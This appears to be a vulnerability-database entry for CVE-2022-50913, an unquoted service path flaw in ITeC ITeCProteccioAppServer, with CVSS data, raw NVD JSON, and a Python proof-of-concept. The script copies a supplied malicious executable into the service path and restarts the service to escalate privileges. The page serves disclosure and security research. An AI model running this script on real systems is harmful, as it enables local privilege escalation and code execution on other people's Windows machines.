Security Vulnerability Report
中文
CVE-2022-50913 CVSS 8.4 HIGH

CVE-2022-50913

Published: 2026-01-13 23:15:55
Last Modified: 2026-04-15 00:35:42

Description

ITeC ITeCProteccioAppServer contains an unquoted service path vulnerability that allows local attackers to execute code with elevated system privileges. Attackers can insert a malicious executable in the service path to gain elevated access during service restart or system reboot.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ITeC ITeCProteccioAppServer 所有版本(未修复前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50913 PoC - Unquoted Service Path Exploitation # Target: ITeC ITeCProteccioAppServer # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import subprocess import sys # Configuration SERVICE_NAME = "ITeCProteccioAppServer" MALICIOUS_EXE_PATH = r"C:\Program Files\ITeC\App.exe" # Path to inject PAYLOAD = r"C:\temp\malicious.exe" # Your actual malicious payload def check_service_path(): """Check the current service binary path configuration""" try: result = subprocess.run( ["sc", "qc", SERVICE_NAME], capture_output=True, text=True ) print(f"[+] Service Configuration for {SERVICE_NAME}:") print(result.stdout) return True except Exception as e: print(f"[-] Error querying service: {e}") return False def create_malicious_exe(): """Create a placeholder malicious executable""" try: # Create directory structure if needed directory = os.path.dirname(MALICIOUS_EXE_PATH) if not os.path.exists(directory): os.makedirs(directory) # Copy payload to the unquoted path location if os.path.exists(PAYLOAD): import shutil shutil.copy2(PAYLOAD, MALICIOUS_EXE_PATH) print(f"[+] Malicious executable placed at: {MALICIOUS_EXE_PATH}") return True else: print(f"[-] Payload not found at: {PAYLOAD}") return False except PermissionError: print("[-] Insufficient privileges to write to service path") print("[*] This exploit requires low-privilege access to target path") return False def trigger_service_restart(): """Attempt to restart the service to trigger payload execution""" try: # Method 1: Service restart subprocess.run(["net", "stop", SERVICE_NAME], capture_output=True) subprocess.run(["net", "start", SERVICE_NAME], capture_output=True) print("[+] Service restart attempted") except Exception as e: print(f"[*] Could not restart service automatically: {e}") print("[*] Service restart may require admin privileges or system reboot") if __name__ == "__main__": print("=" * 60) print("CVE-2022-50913 Unquoted Service Path Exploitation") print("Target: ITeC ITeCProteccioAppServer") print("=" * 60) # Step 1: Check service configuration if check_service_path(): # Step 2: Place malicious executable if create_malicious_exe(): # Step 3: Trigger execution trigger_service_restart() print("\n[*] Note: Actual exploitation requires:") print(" 1. Write access to intermediate path directory") print(" 2. Service restart or system reboot") print(" 3. Appropriate payload for target environment")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50913", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:54.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ITeC ITeCProteccioAppServer contains an unquoted service path vulnerability that allows local attackers to execute code with elevated system privileges. Attackers can insert a malicious executable in the service path to gain elevated access during service restart or system reboot."}, {"lang": "es", "value": "ITeC ITeCProteccioAppServer contiene una vulnerabilidad de ruta de servicio sin comillas que permite a atacantes locales ejecutar código con privilegios de sistema elevados. Los atacantes pueden insertar un ejecutable malicioso en la ruta del servicio para obtener acceso elevado durante el reinicio del servicio o el reinicio del sistema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://itec.es/programas/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50902", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/tcq-itecproteccioappserverexe-unquoted-service-path", "source": "[email protected]"}]}}